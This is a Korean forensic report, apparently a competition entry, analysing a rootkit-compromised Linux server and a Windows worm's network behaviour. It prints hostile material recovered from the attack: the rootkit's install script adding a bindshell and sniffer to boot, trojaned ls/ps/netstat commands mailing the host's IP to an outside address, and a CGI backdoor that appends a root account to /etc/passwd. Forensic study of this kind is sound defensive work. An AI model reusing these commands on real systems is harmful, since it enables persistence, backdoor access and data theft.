

은 상

이상엽 (KT 망관리/지원단 보안기술부)

정주환 (KT 망관리/지원단 보안기술부)

김아영 (KT 망관리/지원단 보안기술부)

최용훈 (KT 망관리/지원단 보안기술부)



요약 보고서

□ 침해사고 분석

* Unix 침해사고 분석은 로그 파일 분석과 파일 변조 분석으로부터 단서를 찾아나가는 것이 일반적이기 때문에 일차적으로 로그 파일 분석을 시도하였으나, 원격 공격 로그 등은 특별히 발견되지 않았으며 일부 백도어나 수상한 메일 로그만을 발견함. 다음으로 파일 변조 분석을 위해 일반적으로 rootkit이 많이 설치되는 /dev 파일 조사를 통해 rootkit을 찾아내어 파일 생성 날짜와 rootkit 파일 분석을 중심으로 침해사고 분석을 진행 함.

○ 초기 침입 분석

- 원격 sshd 취약점 공격으로 시스템에 침입한 것으로 추측됨
- 정확한 침입 방법에 대한 분석은 로그 삭제로 불가능
- 2002/6/8 이전에 침입 - 로그 삭제로 정확한 시간 파악 불가능

○ 시스템 분석 결과

- rootkit(ls, ps, netstat) 및 백도어 다수 설치
- ls, ps, netstat 실행 시 시스템 정보 E-메일로 전파
- CGI Gateway 백도어 설치 및 시작 프로그램 백도어 발견
- Ssh 공격 코드 발견
- 스니퍼에 의한 패스워드 수집 및 Crack 프로그램 등 발견
- 주요 로그 파일 다수 삭제 됨

□ 악성코드(웜) 분석

- 로컬 DNS서버로 다수 사이트 DNS 역질의(in-addr.arpa) 시도
- 특정사이트(211.241.82.124)에 “MS04-011 LSASS 취약점(TCP/ 445)” 체크
- 특정사이트(consult.skinfosec.co.kr) 에 TCP/80 포트를 이용하여 DoS 공격
- P2P프로그램 kazaa의 공유 디렉토리에 자신을 복사
- system 디렉토리에 winsystemm.exe 파일 생성

문제 1. 침해사고 분석

□ 침해사고 분석내역

- 초기 침입 분석
 - 원격 sshd 취약점 공격으로 시스템에 침입한 것으로 추측됨
 - 정확한 침입 방법에 대한 분석은 로그 삭제로 불가능
 - 2002/6/8 이전에 침입 - 로그 삭제로 정확한 시간 파악 불가능
- 시스템 분석 결과
 - rootkit(ls, ps, netstat) 및 백도어 다수 설치
 - ls, ps, netstat 실행 시 시스템 정보 E-메일로 전파
 - CGI Gateway 백도어 설치 및 시작 프로그램 백도어 발견
 - Ssh 공격 코드 발견
- 스니퍼에 의한 패스워드 수집 및 Crack 프로그램 등 발견
- 주요 로그 파일 다수 삭제 됨

* Unix 침해사고 분석은 로그 파일 분석과 파일 변조 분석으로부터 단서를 찾아나가는 것이 일반적이기 때문에 일차적으로 로그 파일 분석을 시도하였으나, 원격 공격 로그 등은 특별히 발견되지 않았으며 일부 백도어나 수상한 메일 로그만을 발견함. 다음으로 파일 변조 분석을 위해 일반적으로 rootkit이 많이 설치되는 /dev 파일 조사를 통해 rootkit을 찾아내어 파일 생성 날짜와 rootkit 파일 분석을 중심으로 침해사고 분석을 진행 함.

□ 세부 분석

■ rootkit 설정파일 찾기 - /dev 에 rootkit 설정 파일 발견

```
bash-2.05b# find . -type f -print
./MAKEDEV
drwxr-xr-x  2 root  root    4096 Jun  8 18:11 .
drwxr-xr-x 19 root  root   86016 Jun  8 18:11 ..
-rw-r--r--  1 root  root     50 Jun  8 18:11 .addr
-rw-r--r--  1 root  root     38 Jun  8 18:11 .file
-rw-r--r--  1 root  root     32 Jun  8 18:11 .proc
```

■ rootkit 설정파일 분석 -> rootkit 설치되어 있음

```
bash-2.05b# more .addr
2 192.168.131.136
```

```

1 192.168.131.136
3 2222
4 2222
bash-2.05b# more .file
sniffer
bindshell
rootkit
.snifflogsk
bash-2.05b# more .proc
2 cgiback.cgi
2 bshell
2 srload

```

■ rootkit 설치 날짜를 중심으로 의심되는 파일 조사
 - (변경이 의심되는 파일/디렉토리들)

```

bash-2.05b# ls -alsgR /mnt |grep "Jun 8 18" |grep " .." |awk '{print $9}' |while read
x ;do
find /mnt -name $x -ls :done
63873  88 drwxr-xr-x 19 0      root      86016 Jun  8 18:11 /mnt/dev
15970  4 drwxr-x---  2 0      root      4096 Jun  8 18:11 /mnt/root
16259  4 drwxr-xr-x  3 0      root      4096 Jun  8 18:08 /mnt/sbin
80373  4 drwxr-xr-x  2 0      root      4096 Aug  1 2002 /mnt/sbin/sbin
 1709  4 drwxr-xr-x  2 0      root      4096 Jun  8 18:11 /mnt/dev/ptyxx
 1712  4 -rw-r--r--  1 0      root        50 Jun  8 18:11 /mnt/dev/ptyxx/.addr
 1710  4 -rw-r--r--  1 0      root        38 Jun  8 18:11 /mnt/dev/ptyxx/.file
 1711  4 -rw-r--r--  1 0      root        32 Jun  8 18:11 /mnt/dev/ptyxx/.proc
52566 32 -rw-rw-r--  1 0      root     32768 Jun  8 18:09 /mnt/etc/psdevtab
70641 24 -rwxr-xr-x  1 0      root     22414 Jun  8 18:08 /mnt/etc/rc.d/rc.sysinit
51463  0 lrwxrwxrwx  1 0      root        15 Jun  8 01:47 /mnt/etc/rc.sysinit ->
rc.d/rc.sysinit
 19449  0 lrwxrwxrwx  1 0      root         9 Jun  8 18:11 /mnt/root/.bash_history -
> /dev/null
84165  4 -rw-r--r--  1 0      root         1 Jun  8 18:08 /mnt/usr/lib/.ark?
 1689  4 drwxr-xr-x  2 0      root      4096 Jun  8 18:11
/mnt/usr/lib/librk/rootkit
 1702 32 -rw-r--r--  1 0      root      302 Jun  8 18:11

```

```

/mnt/usr/lib/librk/rootkit/.snifflogsk
1513  4 drwxr-xr-x  2 0      root      4096 Jun  8 18:11 /mnt/var/log/httpd
  1512  4 drwxr-xr-x  2 48     root      4096 Apr 10 2002 /mnt/var/cache/httpd
20858  0 -rw-r--r--   1 0      root              0 Jun  8 00:49
/mnt/var/lock/subsys/httpd
71058  4 -rwxr-xr-x   1 0      root      2188 Apr 10 2002
/mnt/etc/rc.d/init.d/httpd
...
1515  4 drwxr-xr-x  2 0      root      4096 Jun  8 18:08 /mnt/var/www/cgi-bin
52489  4 drwxr-xr-x  2 0      root      4096 Jun  7 17:58
/mnt/usr/share/doc/apache-1.3.23/cgi-bin
1701  8 -rwsr-xr-x   1 0      root      8092 Jun  8 18:08 /mnt/var/www/cgi-
bin/cgiback.cgi
1697  8 -rwxr-xr-x   1 0      root      8092 Jul 31 2002
/mnt/usr/lib/librk/rootkit/cgiback.cgi

```

■ rootkit 분석 → 스니퍼 및 Rootkit이 /usr/lib/librk 에 설치되어 있음

```

bash-2.05b# find / -name sniffer -print
/mnt/usr/lib/librk/rootkit/sniffer
bash-2.05b# cd /mnt/usr/lib/librk
bash-2.05b# ls
rootkit  rootkit.tar
bash-2.05b# ls -al
total 1400
drwxr-xr-x  2 root  root  4096 Jun  8 18:11 .
drwxr-xr-x  3 root  root  4096 Jun  8 01:48 ..
-rw-r--r--  1 root  root   302 Jun  8 18:11 .snifflogsk
-rwxr-xr-x  1 root  root 15380 Jul 31 2002 bindshell
-rwxr-xr-x  1 root  root  8092 Jul 31 2002 cgiback.cgi
-rwxr-xr-x  1 root  root   603 Jul 31 2002 hideit
-rwxr-xr-x  1 root  root   352 Jul 31 2002 install
-rwxr-xr-x  1 root  root  9368 Jul 31 2002 logclean
-rwxr-xr-x  1 root  root 184023 Jul 31 2002 ls
-rwxr-xr-x  1 root  root 258612 Jul 31 2002 netstat
-rwxr-xr-x  1 root  root 47388 Jul 31 2002 ps
-rwxr-xr-x  1 root  root  6872 Jul 31 2002 sniffer

```

```
-rwxr-xr-x  1 root    root      11028 Jul 31  2002 targets
-rwxr-xr-x  1 root    root      817052 Jul 31  2002 x3
```

■ Rootkit install 설치 파일 분석

```
bash-2.05b# strings install
#!/bin/sh
chown -R root ./*
cp -f ./ls /bin/ls
cp -f ./ps /bin/ps
cp -f ./netstat /bin/netstat
cp -f ./bindshell /sbin/bshell
cp -f ./sniffer /sbin/srload
cp -f ./cgiback.cgi /var/www/cgi-bin/
echo "/sbin/bshell" >> /etc/rc.d/rc.sysinit
echo "/sbin/srload" >> /etc/rc.d/rc.sysinit
chmod u+s /var/www/cgi-bin/cgiback.cgi
/sbin/bshell
/sbin/srload
```

■ Rootkit Binary 파일 분석

▷ x3 파일 - SSHD deattack exploit.

```
bash-2.05b# strings x3
```

```
Usage: sshd-exploit -t# <options> host [port]
```

```
Options:
```

```
    -t num (mandatory)  defines target, use 0 for target list
```

```
    -X string           skips certain stages
```

```
SSHD deattack exploit. By Dvorak with Code from teso (http://www.team-teso.net)
```

▷ bindshell 파일 - shell 프로그램

```
bash-2.05b# strings bindshell
```

```
__gmon_start__
```

```
GLIBC_2.0
```

```
PTRh
```

```
QVh
```

```
(nfsiod)
```

```
/bin/sh
```

▷ Sniffer 파일

```
bash-2.05b# strings sniffer
/lib/ld-linux.so.2
libc.so.6
strcpy
...
__libc_start_main
setuid
...
cant get SOCK_PACKET socket
cant get flags
cant set promiscuous mode
/dev/null
eth0
.snifflogsk
cant open log
```

▷ snifferlog 파일 분석 - 스니퍼 로그 파일

```
bash-2.05b# more .snifflogsk
```

```
=====
Time: Tue Jun  8 18:10:06      Size: 153
Path: 192.168.131.1 => 192.168.131.136 [23]
-----
```

```
#'lotus
test123
su -
test123
ls
pwd
tar -xvf root
cd root
ls
logclean
./logclean
ifconfig -a
```

▷ **ls 파일 - ls rootkit으로 실행 시 시스템 IP 정보를 메일 발송**

```
bash-2.05b# strings ls
%s (%s) %s
/dev/ptyxx/.file
capi20.20
.ark?
ptyxx
/usr/lib/.ark?
echo "SUBJECT: `/sbin/ifconfig eth0 | grep 'inet addr' | awk '{print $2}' | sed
-e 's/.*/://'`" | /usr/lib/sendmail tuiqoitu039t09q3@bigfoot.com
...
```

▷ **ps 파일 - ps rootkit으로 실행 시 시스템 IP 정보를 메일 발송**

```
bash-2.05b# strings ps
/usr/lib/.ark?
echo "SUBJECT: `/sbin/ifconfig eth0 | grep 'inet addr' | awk '{print $2}' | sed-e
's/.*/://'`" | /usr/lib/sendmail tuiqoitu039t09q3@bigfoot.com
echo "SUBJECT: `/sbin/ifconfig eth0 | grep 'inet addr' | awk '{print $2}' | sed
...
```

▷ **netstat 파일 - netstat rootkit으로 실행 시 시스템 IP 정보를 메일 발송**

```
bash-2.05b# strings netstat
/usr/lib/.ark?
echo "SUBJECT: `/sbin/ifconfig eth0 | grep 'inet addr' | awk '{print $2}' | sed
-e 's/.*/://'`" | /usr/lib/sendmail tuiqoitu039t09q3@bigfoot.com
...
```

▷ **cgiback.cgi 파일 - CGI SuperUser Gateway**

```
bash-2.05b# strings cgiback.cgi
/var/log/httpd
/var/log/httpd/access_log
awk '$0 !~ /%/ { print }' %s > %s/access_new
/bin/mv -f %s/access_new %s; /bin/rm -f %s/access_new
<TITLE>CGI SuperUser Gateway by Mos Tarac &#60;mostar@hotmail.com&#62;</TITLE>
SCRIPT_NAME
```



```
<FORM ACTION=%s METHOD=POST>
<SELECT NAME=STRCMD>
<OPTION>execute command:
<OPTION>create new root account
<OPTION>list all processes
</SELECT>
...
echo 'syscall:%s:0:0::/root:/bin/bash' >> /etc/passwd
New Root Account failed!
New root account created as user: syscall : with your rootkit password !!
```

▷ **hideit** 파일 - 파일 및 디렉토리, 프로세스, 네트워크 은닉 설정 프로그램

```
bash-2.05b# strings hideit
#!/bin/sh
mkdir /dev/ptyxx
echo "--+ hiding files & directories +--"
echo sniffer > /dev/ptyxx/.file
...
echo "2 192.168.131.136" > /dev/ptyxx/.addr
echo "1 192.168.131.136" >> /dev/ptyxx/.addr
echo "3 2222" >> /dev/ptyxx/.addr
echo "4 2222" >> /dev/ptyxx/.addr
rm -f /root/.bash_history
ln -s /dev/null /root/.bash_history
bash-2.05b#
```

■ **/etc/rc.d/rc.sysinit** 시스템 시작 파일 분석

▷ **/sbin/bshell** 파일 - bind shell 프로그램

```
bash-2.05b# strings /mnt/sbin/bshell |more
/lib/ld-linux.so.2
libc.so.6
getpid
execl
dup2
...
QVh
```

(nfsiod)

/bin/sh

▷ /sbin/srload 파일 - 스니퍼 프로그램

```
bash-2.05b# strings /mnt/sbin/srload /more
```

...

```
cant get SOCK_PACKET socket
```

```
cant get flags
```

```
cant set promiscuous mode
```

```
/dev/null
```

```
eth0
```

```
.snifflogsk
```

```
cant open log
```

■ 기타 프로그램 분석 - 패스워드 Crack 사전 파일 및 Lib

```
bash-2.05b# ls -al crack*
```

```
-rw-r--r--  1 0      root          1024 Jul 31  2002 cracklib_dict.hwm
```

```
-rw-r--r--  1 0      root        828567 Jul 31  2002 cracklib_dict.pwd
```

```
-rw-r--r--  1 0      root         42116 Jul 31  2002 cracklib_dict.pwi
```

■ 로그 파일 분석 결과

▷ /mnt/var/log/messages 에서 srload 스니퍼 프로그램 구동 로그 분석

```
Jun  8 18:08:40 www kernel: srload uses obsolete (PF_INET,SOCK_PACKET)
```

```
Jun  8 18:08:40 www kernel: eth0: Promiscuous mode enabled.
```

```
Jun  8 18:08:40 www kernel: device eth0 entered promiscuous mode
```

▷ /mnt/var/log/maillog 에서 rootkit에 실행 시 메일 발송 로그 분석

```
Jun  8 18:08:45 www sendmail[2233]: i5898j61002233: to=tuiquito039t09q3@bigfoot.com,  
ctladdr=root (0/0), delay=00:00:00, xdelay=00:00:00, mailer=relay, pri=30025,  
relay=www.challenge.net. [203.251.80.133], dsn=5.1.3, stat=User unknown
```

▷ mailqueue에 남아 있는 Bigfoot.com으로 보내는 공격자 메일정보 - 발송실패

```
bash-2.05b# grep bigfoot *
```

```
dfi5898j62002233:tuiquito039t09q3@bigfoot.com
```

```
dfi5898j62002233: (expanded from: tuiquito039t09q3@bigfoot.com)
```

dfi5898j62002233:550 5.1.1 tuiqoitu039t09q3@bigfoot.com... User unknown
dfi5898j62002233:Final-Recipient: RFC822: tuiqoitu039t09q3@bigfoot.com
dfi5898j62002233: for tuiqoitu039t09q3@bigfoot.com: Tue, 8 Jun 2004 18:08:45
+0900

▷ 로그인 로그 분석 결과

```
bash-2.05b# last -f wtmp
jacob pts/1 192.168.131.1 Tue Jun 8 00:48 gone - no logout
jacob pts/0 192.168.131.1 Tue Jun 8 00:47 gone - no logout
reboot system boot 2.4.18-4 Tue Jun 8 00:46 (8+15:17)
jacob pts/0 192.168.131.1 Mon Jun 7 20:19 - down (00:05)
root ttyl Mon Jun 7 20:05 - down (00:18)
reboot system boot 2.4.18-4 Mon Jun 7 20:01 (00:22)
...
jacob pts/0 192.168.131.1 Mon Jun 7 17:22 - down (00:24)
root ttyl Mon Jun 7 17:04 - down (00:42)
reboot system boot 2.4.18-4 Mon Jun 7 17:03 (00:43)
wtmp begins Mon Jun 7 17:03:21 2004
```

문제 2. 악성코드(웜) 분석

□ 감염 증상

- 로컬 DNS서버로 다수 사이트 DNS 역질의(in-addr.arpa) 시도
- 특정사이트(211.241.82.124)에 “MS04-011 LSASS 취약점(TCP/ 445)” 체크
- 특정사이트(consult.skinfosec.co.kr) 에 TCP/80 포트를 이용하여 DoS 공격
- P2P프로그램 kazaa의 공유 디렉토리에 자신을 복사
- system 디렉토리에 winsystemm.exe 파일 생성

□ 분석 결과

- 주요구간 TCP/445 ACL 차단 필요
- 콘텐츠 필터링을 적용하여 특정사이트 DoS 공격 차단 필요

□ 세부 분석

- 로컬 DNS서버로 다수 사이트 DNS 역질의(in-addr.arpa) 시도

No.	Status	Source Address	Dest Address	Summary	Len (Byte)	Rel. Time
1	M	[211.54.21.170]	kns.kornet.net	DNS: C ID=475 OP=QUERY NAME=71.196.115.211.in-addr.arpa	87	0:00:
2		kns.kornet.net	[211.54.21.170]	DNS: R ID=475 OP=QUERY STAT=Name error NAME=71.196.115.211.in-addr.arpa	144	0:00:
3		[211.54.21.170]	kns.kornet.net	DNS: C ID=476 OP=QUERY NAME=200.186.54.211.in-addr.arpa	87	0:00:
4		kns.kornet.net	[211.54.21.170]	DNS: R ID=476 OP=QUERY STAT=Name error NAME=200.186.54.211.in-addr.arpa	145	0:00:
5		[211.54.21.170]	kns.kornet.net	DNS: C ID=477 OP=QUERY NAME=50.37.54.211.in-addr.arpa	85	0:00:
6		kns.kornet.net	[211.54.21.170]	DNS: R ID=477 OP=QUERY STAT=Name error NAME=50.37.54.211.in-addr.arpa	143	0:00:
7		[211.54.21.170]	kns.kornet.net	DNS: C ID=478 OP=QUERY NAME=226.93.54.211.in-addr.arpa	86	0:00:
8		kns.kornet.net	[211.54.21.170]	DNS: R ID=478 OP=QUERY STAT=Name error NAME=226.93.54.211.in-addr.arpa	144	0:00:
9		[211.54.21.170]	kns.kornet.net	DNS: C ID=479 OP=QUERY NAME=124.82.241.211.in-addr.arpa	87	0:00:
10		kns.kornet.net	[211.54.21.170]	DNS: R ID=479 OP=QUERY STAT=Name error NAME=124.82.241.211.in-addr.arpa	143	0:00:
11		[211.54.21.170]	kns.kornet.net	DNS: C ID=480 OP=QUERY NAME=73.132.54.211.in-addr.arpa	86	0:00:
12		kns.kornet.net	[211.54.21.170]	DNS: R ID=480 OP=QUERY STAT=Name error NAME=73.132.54.211.in-addr.arpa	144	0:00:
13		[211.54.21.170]	kns.kornet.net	DNS: C ID=481 OP=QUERY NAME=200.55.54.211.in-addr.arpa	86	0:00:
14		kns.kornet.net	[211.54.21.170]	DNS: R ID=481 OP=QUERY STAT=Name error NAME=200.55.54.211.in-addr.arpa	144	0:00:
15		[211.54.21.170]	kns.kornet.net	DNS: C ID=482 OP=QUERY NAME=106.254.54.211.in-addr.arpa	87	0:00:
				DNS: R ID=482 OP=QUERY STAT=Name error NAME=106.254.54.211.in-addr.arpa	144	0:00:


```

DNS: ...0 .... = Unicast packet
DNS: Question count = 1
DNS: Answer count = 0
DNS: Authority count = 1
DNS: Additional record count = 0
DNS:
DNS: ZONE Section
DNS: Name = 124.82.241.211.in-addr.arpa
DNS: True = Domain name pointer (PTR, 12)
00000000: 00 e0 00 ae b3 d7 00 e0 1e b9 b2 ac 08 00 45 00  .????.????. E.
00000010: 00 80 e2 ce 00 00 1a 11 ed 3e a8 7e 3f 01 d3 36  .0???.????.?
00000020: 15 aa 00 35 04 05 00 6c 04 bd 01 df 85 83 00 01  .?S...l...??
00000030: 00 00 00 01 00 00 83 31 32 34 0f 38 32 03 32 34  . ....124.82.24
00000040: 31 03 32 31 31 07 69 6e 2d 61 64 64 72 04 61 72  1.211.in-addr.ar
00000050: 70 61 00 00 0c 00 01 c0 13 00 06 00 01 00 00 a8  pa.....?.....
00000060: c0 00 2b 02 6e 73 05 6b 72 6e 69 63 03 6e 65 74  ?+.ns.krnic.net
00000070: 00 06 64 6e 6d 61 69 6e c0 3c 77 54 b5 3b 00 00  .domain?WT?..
00000080: 54 60 00 00 03 84 00 09 3a 80 00 00 a8 c0      T....?.D..?
    
```

※ KRNIC(x.x.x.124) 으로 역질의

No.	Status	Source Address	Dest Address	Summary	Len (Byt)	Rel. Time
14		kns.kornet.net	[211.54.21.170]	DNS: R ID=481 OP=QUERY STAT=Name error NAME=200.55.54.211.in-addr.arpa	144	0:00
15		[211.54.21.170]	kns.kornet.net	DNS: C ID=482 OP=QUERY NAME=106.254.54.211.in-addr.arpa	87	0:00
16		kns.kornet.net	[211.54.21.170]	DNS: R ID=482 OP=QUERY STAT=Name error NAME=106.254.54.211.in-addr.arpa	145	0:00
17		[211.54.21.170]	kns.kornet.net	DNS: C ID=483 OP=QUERY NAME=184.1.54.211.in-addr.arpa	85	0:00
18		kns.kornet.net	[211.54.21.170]	DNS: R ID=483 OP=QUERY STAT=Name error NAME=184.1.54.211.in-addr.arpa	143	0:00
19		[211.54.21.170]	kns.kornet.net	DNS: C ID=484 OP=QUERY NAME=106.132.54.211.in-addr.arpa	87	0:00
20		kns.kornet.net	[211.54.21.170]	DNS: R ID=484 OP=QUERY STAT=Name error NAME=106.132.54.211.in-addr.arpa	145	0:00
21		[211.54.21.170]	kns.kornet.net	DNS: C ID=485 OP=QUERY NAME=168.214.54.211.in-addr.arpa	87	0:01
22		kns.kornet.net	[211.54.21.170]	DNS: R ID=485 OP=QUERY STAT=Name error NAME=168.214.54.211.in-addr.arpa	145	0:01
23		[211.54.21.170]	kns.kornet.net	DNS: C ID=486 OP=QUERY NAME=177.45.54.211.in-addr.arpa	86	0:01
24		kns.kornet.net	[211.54.21.170]	DNS: R ID=486 OP=QUERY STAT=Name error NAME=177.45.54.211.in-addr.arpa	144	0:01
25		[211.54.21.170]	kns.kornet.net	DNS: C ID=487 OP=QUERY NAME=consult.skinfosec.co.kr	83	0:01
26		kns.kornet.net	[211.54.21.170]	DNS: R ID=487 OP=QUERY STAT=OK NAME=consult.skinfosec.co.kr	129	0:01
27		[211.54.21.170]	kns.kornet.net	DNS: C ID=488 OP=QUERY NAME=81.215.96.210.in-addr.arpa	86	0:01
28		kns.kornet.net	[211.54.21.170]	DNS: R ID=488 OP=QUERY STAT=Name error NAME=81.215.96.210.in-addr.arpa	155	0:01


```

DNS: ...0 .... = Unicast packet
DNS: Question count = 1
DNS: Answer count = 0
DNS: Authority count = 1
DNS: Additional record count = 0
DNS:
DNS: ZONE Section
DNS: Name = 81.215.96.210.in-addr.arpa
DNS: Type = Domain name pointer (PTR.12)
00000000: 00 e0 00 ae b3 d7 00 e0 1e b9 b2 ac 08 00 45 00 .????.E.
00000010: 00 8d f7 02 00 00 1a 11 d8 fd a8 7e 3f 01 d3 36 .??....??.
00000020: 15 aa 00 35 04 05 00 79 70 c3 01 e8 85 83 00 01 .?5...yp .??.
00000030: 00 00 00 01 00 00 02 38 31 03 32 31 35 02 39 36 .....81.215.96
00000040: 03 32 31 30 07 69 6e 2d 61 64 64 72 04 61 72 70 .210.in-addr.arp
00000050: 61 00 00 0c 00 01 c0 0f 00 06 00 01 00 00 a8 c0 a.....?.....
00000060: 00 39 03 6e 69 73 05 64 61 63 6f 6d 02 63 6f 02 .9.nis.dacom.co.
00000070: 6b 72 00 09 64 6e 73 6d 61 73 74 65 72 04 62 6f kr..dnsmaster.bo
00000080: 72 61 03 6e 65 74 00 01 31 2d d1 00 00 54 60 00 ra.net...?..T`.
00000090: 00 03 84 00 09 3a 80 00 00 a8 c0 ..?:.0!..

```

※ Dacom(x.x.x.81) 으로 역질의

Variable	Value
Start capture time	2004-06-16 오전 11:18
Capture duration	0:06:20.678
Total bytes	7573
Total packets	64
Average packet size	118
Bytes per second	19
Packets per second	0
Average utilization	0%
Line speed	10 Mbps
MAC broadcast packets	0
MAC multicast packets	0
IP packets	64
IP bytes	7573
IP broadcast packets	0
IP multicast packets	0
TCP packets	0
TCP bytes	0
UDP packets	64
UDP bytes	7573
ICMP packets	0
ICMP bytes	0
IPX packets	0
IPX bytes	0
IPX broadcast packets	0
IPX multicast packets	0

※ 패킷발생량은 미미함

○ 특정사이트(211.241.82.124)에 “MS04-011 LSASS 취약점(TCP/445)” 체크

SISWorm.exe:2948	TCP	0.0.0.0:4017	0.0.0.0	LISTENING
SISWorm.exe:2948	TCP	0.0.0.0:2705	0.0.0.0	LISTENING
SISWorm.exe:2948	TCP	0.0.0.0:2707	0.0.0.0	LISTENING
SISWorm.exe:2948	TCP	0.0.0.0:2710	0.0.0.0	LISTENING
SISWorm.exe:2948	TCP	211.54.21.170:2710	211.241.82.124:445	SYN_SENT

No.	Status	Source Address	Dest Address	Summary	Len (Byt)	Rel. Time
1	R	[211.54.21.170]	[211.241.82.124]	TCP: D=445 S=2705 SYN SEQ=263288000 LEN=0 WIN=16384	62	0:00
2		[211.54.21.170]	[211.241.82.124]	TCP: D=445 S=2705 SYN (Retransmission of Frame 1) SEQ=2632880	62	0:00
3		[211.54.21.170]	[211.241.82.124]	TCP: D=445 S=2705 SYN (Retransmission of Frame 1) SEQ=2632880	62	0:00
4		[211.54.21.170]	[211.241.82.124]	TCP: D=445 S=2707 SYN SEQ=2638233223 LEN=0 WIN=16384	62	0:00
5		[211.54.21.170]	[211.241.82.124]	TCP: D=445 S=2707 SYN (Retransmission of Frame 4) SEQ=2638233	62	0:00
6		[211.54.21.170]	[211.241.82.124]	TCP: D=445 S=2707 SYN (Retransmission of Frame 4) SEQ=2638233	62	0:00
7		[211.54.21.170]	[211.241.82.124]	TCP: D=445 S=2710 SYN SEQ=2643602115 LEN=0 WIN=16384	62	0:00
8		[211.54.21.170]	[211.241.82.124]	TCP: D=445 S=2710 SYN (Retransmission of Frame 7) SEQ=2643602	62	0:00
9		[211.54.21.170]	[211.241.82.124]	TCP: D=445 S=2710 SYN (Retransmission of Frame 7) SEQ=2643602	62	0:00

TCP: ----- TCP header -----

- TCP: Source port = 2705
- TCP: Destination port = 445 (Microsoft-DS)
- TCP: Initial sequence number = 263288000
- TCP: Next expected Seq number = 263288009
- TCP: Data offset = 28 bytes
- TCP: Reserved Bits: Reserved for Future Use (Not shown in the Hex Dump)
- TCP: Flags = 02
- TCP: ...0. = (No urgent pointer)
- TCP: ...n = (No acknowledgment)

```

00000000: 00 e0 1e b9 b2 ac 00 e0 00 ee b3 d7 06 00 45 00  ?????. E.
00000010: 00 30 69 8e 40 00 80 06 81 eb d3 36 15 aa d3 f1 01?..D.???..?
00000020: 52 7c 0a 91 01 bd 9c ee 8f 88 00 00 00 00 70 02 R|. ?????.p.
00000030: 40 00 fb 0b 00 00 02 04 05 b4 01 01 04 02      0.?.?....?....

```

Variable	Value
Start capture time	2004.06.16 오전 11:18
Capture duration	0:00:51.021
Total bytes	594
Total packets	9
Average packet size	66
Bytes per second	11
Packets per second	0
Average utilization	0%
Line speed	10 Mbps
MAC broadcast packets	0
MAC multicast packets	0
IP packets	9
IP bytes	594
IP broadcast packets	0
IP multicast packets	0
TCP packets	9
TCP bytes	594
UDP packets	0
UDP bytes	0
ICMP packets	0
ICMP bytes	0
IPX packets	0
IPX bytes	0
IPX broadcast packets	0
IPX multicast packets	0

※ 패킷발생량은 미미함

○ 특정사이트(consult.skinfosec.co.kr) 에 TCP/80 포트를 이용하여 DoS 공격

<input type="checkbox"/>	[System Process]:0	TCP	211.54.21.170:2751	210.96.215.81:80	TIME_WAIT
<input type="checkbox"/>	[System Process]:0	TCP	211.54.21.170:2752	210.96.215.81:80	TIME_WAIT
<input type="checkbox"/>	[System Process]:0	TCP	211.54.21.170:2754	210.96.215.81:80	TIME_WAIT
<input type="checkbox"/>	[System Process]:0	TCP	211.54.21.170:2755	210.96.215.81:80	TIME_WAIT
<input type="checkbox"/>	[System Process]:0	TCP	211.54.21.170:2757	210.96.215.81:80	TIME_WAIT
<input type="checkbox"/>	[System Process]:0	TCP	211.54.21.170:2759	210.96.215.81:80	TIME_WAIT
<input type="checkbox"/>	[System Process]:0	TCP	211.54.21.170:2761	210.96.215.81:80	TIME_WAIT
<input type="checkbox"/>	[System Process]:0	TCP	211.54.21.170:2766	210.96.215.81:80	TIME_WAIT
<input type="checkbox"/>	[System Process]:0	TCP	211.54.21.170:2767	210.96.215.81:80	TIME_WAIT
<input type="checkbox"/>	[System Process]:0	TCP	211.54.21.170:2768	210.96.215.81:80	TIME_WAIT
<input type="checkbox"/>	[System Process]:0	TCP	211.54.21.170:2770	210.96.215.81:80	TIME_WAIT
<input type="checkbox"/>	[System Process]:0	TCP	211.54.21.170:2772	210.96.215.81:80	TIME_WAIT
<input type="checkbox"/>	[System Process]:0	TCP	211.54.21.170:2774	210.96.215.81:80	TIME_WAIT
<input type="checkbox"/>	[System Process]:0	TCP	211.54.21.170:2775	210.96.215.81:80	TIME_WAIT
<input type="checkbox"/>	[System Process]:0	TCP	211.54.21.170:2776	210.96.215.81:80	TIME_WAIT
<input type="checkbox"/>	[System Process]:0	TCP	211.54.21.170:2778	210.96.215.81:80	TIME_WAIT
<input type="checkbox"/>	[System Process]:0	TCP	211.54.21.170:2779	210.96.215.81:80	TIME_WAIT
<input type="checkbox"/>	[System Process]:0	TCP	211.54.21.170:2780	210.96.215.81:80	TIME_WAIT
<input type="checkbox"/>	[System Process]:0	TCP	211.54.21.170:2781	210.96.215.81:80	TIME_WAIT

No.	Status	Source Address	Dest Address	Summary	Len (Byt)	Rel. Time
233		[211.54.21.170]	consult.skinfosec	TCP: D=80 S=2713 SYN SEQ=2649539299 LEN=0 WIN=16384	62	0:01:
235		[211.54.21.170]	consult.skinfosec	TCP: D=80 S=2713 RST WIN=0	60	0:01:
236		[211.54.21.170]	consult.skinfosec	TCP: D=80 S=2714 SYN SEQ=2649604683 LEN=0 WIN=16384	62	0:01:
238		[211.54.21.170]	consult.skinfosec	TCP: D=80 S=2714 RST WIN=0	60	0:01:
239		[211.54.21.170]	consult.skinfosec	TCP: D=80 S=2715 SYN SEQ=2649665176 LEN=0 WIN=16384	62	0:01:
240		[211.54.21.170]	consult.skinfosec	TCP: D=80 S=2716 SYN SEQ=2649706254 LEN=0 WIN=16384	62	0:01:
242		[211.54.21.170]	consult.skinfosec	TCP: D=80 S=2715 RST WIN=0	60	0:01:
244		[211.54.21.170]	consult.skinfosec	TCP: D=80 S=2716 RST WIN=0	60	0:01:
245		[211.54.21.170]	consult.skinfosec	TCP: D=80 S=2717 SYN SEQ=2649759415 LEN=0 WIN=16384	62	0:01:
247		[211.54.21.170]	consult.skinfosec	TCP: D=80 S=2717 RST WIN=0	60	0:01:
248		[211.54.21.170]	consult.skinfosec	TCP: D=80 S=2718 SYN SEQ=2649847509 LEN=0 WIN=16384	62	0:01:
250		[211.54.21.170]	consult.skinfosec	TCP: D=80 S=2718 RST WIN=0	60	0:01:
251		[211.54.21.170]	consult.skinfosec	TCP: D=80 S=2719 SYN SEQ=2649899283 LEN=0 WIN=16384	62	0:01:
252		[211.54.21.170]	consult.skinfosec	TCP: D=80 S=2720 SYN SEQ=2649960175 LEN=0 WIN=16384	62	0:01:
254		[211.54.21.170]	consult.skinfosec	TCP: D=80 S=2719 RST WIN=0	60	0:01:

TCP: ----- TCP header -----

- TCP:
- TCP: Source port = 2713
- TCP: Destination port = 80 (WWW/WWW-HTTP/HTTP)
- TCP: Initial sequence number = 2649539299
